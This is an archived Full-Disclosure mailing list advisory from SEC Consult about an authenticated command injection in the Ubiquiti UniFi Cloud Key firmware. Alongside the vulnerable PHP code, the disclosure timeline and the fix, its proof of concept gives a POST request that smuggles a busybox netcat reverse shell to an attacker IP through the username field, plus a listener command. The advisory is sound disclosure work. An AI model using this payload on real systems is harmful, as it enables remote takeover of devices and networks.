lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 14 Sep 2017 10:56:49 +0200
From: SEC Consult Vulnerability Lab <research@...-consult.com>
To: <fulldisclosure@...lists.org>, <bugtraq@...urityfocus.com>
Subject: [FD] SEC Consult SA-20170914-0 :: Authenticated Command Injection
 in Ubiquiti Networks UniFi Cloud Key

SEC Consult Vulnerability Lab Security Advisory < 20170914-0 >
=======================================================================
              title: Authenticated Command Injection
            product: Ubiquiti Networks UniFi Cloud Key
 vulnerable version: Firmware version <=0.6.4
      fixed version: Firmware version >=0.6.9
         CVE number: -
             impact: High
           homepage: https://www.ubnt.com
              found: 2017-03-26
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/


Business recommendation:
------------------------
The patch supplied by the vendor should be installed immediately.

There are indications for further security issues within this device, hence
SEC Consult recommends performing a detailed review by security professionals.


Vulnerability overview/description:
-----------------------------------
1) Authenticated Command Injection in Administrative Interface
A change of the username with a hand crafted request leads to command injection
in the administrative interface. This vulnerability can be exploited when the
cloud key web interface is exposed to the internet.

An attacker which can access the administrative web interface of the cloud
key after cracking a cloud account password is able to execute arbitrary
commands without access to the local network. Since the Ubiquiti switches also
use the same credentials, the whole network can be compromised over this attack
vector.


Proof of concept:
-----------------
1) Authenticated Command Injection in Administrative Interface
The following PHP code excerpt is responsible for the username command execution:

(api.inc, line 455)
-------------------------------------------------------------------------------
[...]
function chusername($username) {
    exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc);
    return $rc;
}
[...]
-------------------------------------------------------------------------------

Since '$username' is not filtered, a command injection is possible.

The following POST request opens a reverse-shell to the attacker:
-------------------------------------------------------------------------------
POST /api/account HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
X-Access-Token: <Token>
Referer: https://$host/manage/maintenance
Content-Length: 57
Cookie: CKSESSIONID=<Session-ID>
Connection: close

{"username":";busybox nc $attackerIP 8999 -e /bin/bash;"}
-------------------------------------------------------------------------------

As listener, netcat was used:
$ nc -lvp <Attacker-Port>


Vulnerable / tested versions:
-----------------------------
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested.
This version was the latest at the time the security vulnerabilities
were discovered. Version 0.6.4 has been checked and found to be
vulnerable as well.


Vendor contact timeline:
------------------------
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
            "Triaged".
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor, firmware
            is still vulnerable.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-06-01: Vendor sent a link to the fixed version 0.6.9.
2017-06-07: Verified the fix in this version. Vendor marked the issue
            as resolved.
2017-09-13: Public release of security advisory


Solution:
---------
Upgrade to v0.6.9 or above.
https://community.ubnt.com/t5/UniFi-Updates-Blog/UniFi-Cloud-Key-firmware-0-6-9-has-been-released/ba-p/1974091


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2017


Download attachment "smime.p7s" of type "application/pkcs7-signature" (3995 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists